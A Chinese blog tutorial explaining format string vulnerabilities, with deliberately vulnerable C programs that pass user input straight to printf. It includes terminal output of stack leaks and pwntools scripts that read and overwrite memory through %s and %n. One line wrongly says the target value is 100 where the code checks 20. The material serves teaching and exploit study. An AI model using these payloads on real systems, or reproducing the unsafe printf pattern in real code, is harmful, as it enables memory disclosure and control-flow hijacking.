格式化字符串漏洞

漏洞产生的原因

在编写程序时由于编写的不规范有可能产生这个漏洞。
下面一个例子

#include<stdio.h>
int a=2;
int main()
{
        char b[100];
        scanf("%s",b);
        printf(b);
        return 0;
}
编译时使用 gcc test.c -m32表示编译成32位的程序

上面这个例子便是一个很简单的格式化字符串漏洞,产生格式化字符串漏洞需要两个条件

  • 输出的参数可控,这个例子可以通过scanf函数控制
  • 直接输出printf(b)

下面讲解printf输出的原理
eg:
name[]=‘sun’;
age=21;
printf(“this is %s,age is %d”,name,age);

  • 首先printf函数会扫描他的第一个参数,this is会直接输出
  • 当遇到%后会继续向后扫描到s,然后会将name的值"sun"输出
  • 后面会有相同的操作因此这个例子会输出"this is sun,age is 21"
  • 还有需要注意的是name和age是printf函数的两个参数在linux 32位的程序中会将这两个参数放入栈中,将name这个字符串的地址放入栈,将21放入栈。(对字符串的传参都是将字符串的地址入栈)

根据printf的原理当将程序编写为printf(b);便可以通过构造b来进行一些攻击操作
下面那这个例子做实验:

1.
sun@ubuntu:~/Desktop/test$ ./a.out 
%s
Segmentation fault (core dumped)
sun@ubuntu:~/Desktop/test$
当我们输入%s时直接报错了,这个报错表示访问了不能访问的内存,下面了解一下发生了什么。
使用gdb进行调试
   0x080484ee <+51>:	lea    eax,[ebp-0x70]
   0x080484f1 <+54>:	push   eax
   0x080484f2 <+55>:	call   0x8048370 <printf@plt>
   这是其中一段汇编
可以看到这个printf只入栈了一个参数,printf会扫描第一个参数,当我们输入第一个参数时%s时,printf函数发现是%开头的因此会寻找第二个参数将这个%s替换掉,我们知道只入栈了一个参数,但是程序并不知道到,会继续寻找 0x080484f1 <+54>:	push   eax这个入栈上面的一个数据,会将他上面的一个当成printf函数的第二个参数,由于是%s因此,printf会将这个访问的内容当成一个字符串的地址,如果这个地址不合法便会报错了。
如果将这个程序编译为64位的程序,printf会将rdi当成第一个参数,将rsi当成第二个参数,如果此时rsi的内容不是一个合法的地址,也会出现这种错误。
这也算一种攻击方式,虽然不能getshell,但是能够使程序终止执行。

2.
sun@ubuntu:~/Desktop/test$ ./a.out 
%p.%p.%p.%p
0xff9b0488.0xc2.0xf7df88fb.0xff9b04aesun@ubuntu:~/Desktop/test$ 

这个表示可以泄露栈中的内容,通过%p或者%x将栈中的内容以十六进制的格式写出来。
需要注意的是泄露出的栈的内容和使用gdb显示的gdb的栈的内容不全一样,这是因为在gdb中栈的地址和直接运行的程序的栈的地址不同,使用%s传递的参数是地址,因此会有不同。
可以使用%n$x这种格式直接输出栈的任意地址的内容,n表示第n+1个参数,x表示以十六进制输出。
eg:
sun@ubuntu:~/Desktop/test$ ./a.out 
%2$x
c2sun@ubuntu:~/Desktop/test$ ./a.out 
%2$p
0xc2sun@ubuntu:~/Desktop/test$ 
可以看到输出的第三个参数和上面那个一样都是0xc2
  • 获取栈中的内容
  • 获取栈上内容字符串的内容使用%s
  • 获取栈上的变量的内容
  • 使用%n$x格式获取第n+1个参数的内容

泄露任意地址的内容

上面只是说了可以泄露栈中的内容,我们也可以泄露任意地址的内容,包括got表和plt表,根据这两个表来泄露出函数的真实地址。
下面是一个例子进行说明:

#include<stdio.h>
#include<unistd.h>
char a[]="hello sun";
int main()
{
	char buf[100];
	read(0,buf,100);
	printf(buf);
	return 0;
}


首先判断buf的偏移位置

sun@ubuntu:~/Desktop/test$ ./a.out 
aaaa%p.%p.%p.%p.%p.%p
aaaa0xffd0eae8.0x64.0xf7e158fb.0xffd0eb0e.0xffd0ec0c.0x61616161

可以得到aaaa的对应的是0x61616161因此偏移是6个

利用:

from pwn import *
p=process("./a.out")
payload=p32(0x0804A024)+"%6$s"
p.sendline(payload)
print p.recv()
#print p.recvline()

sun@ubuntu:~/Desktop/test$ python 1.py
[+] Starting local process './a.out': pid 3079
[*] Process './a.out' stopped with exit code 0 (pid 3079)
$\xa0\x0hello sun

可以的到字符串的内容hello sun

任意写操作

可以使用%n参数来进行任意地址的写操作,会将输出的字符个数写入对应的地址内

下面是一个例子

#include<stdio.h>
#include<unistd.h>
int a=1;
int main()
{
        char buf[100];
        read(0,buf,100);
        printf(buf);
        if(a==1)
                printf("error\n");
        else if(a==20)
                printf("successful\n");

        return 0;
}

可以看到当a=100时才会seccessful

from pwn import *
p=process("./a.out")
payload=p32(0x0804A028)+"%16d%6$n"
p.sendline(payload)
print p.recv()
#print p.recvline()


sun@ubuntu:~/Desktop/test$ python 1.py
[+] Starting local process './a.out': pid 3157
[*] Process './a.out' stopped with exit code 0 (pid 3157)
(\xa0\x0        -5812248
\x19��P\xa7\xff\x88\x82\x0successful

参考链接:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值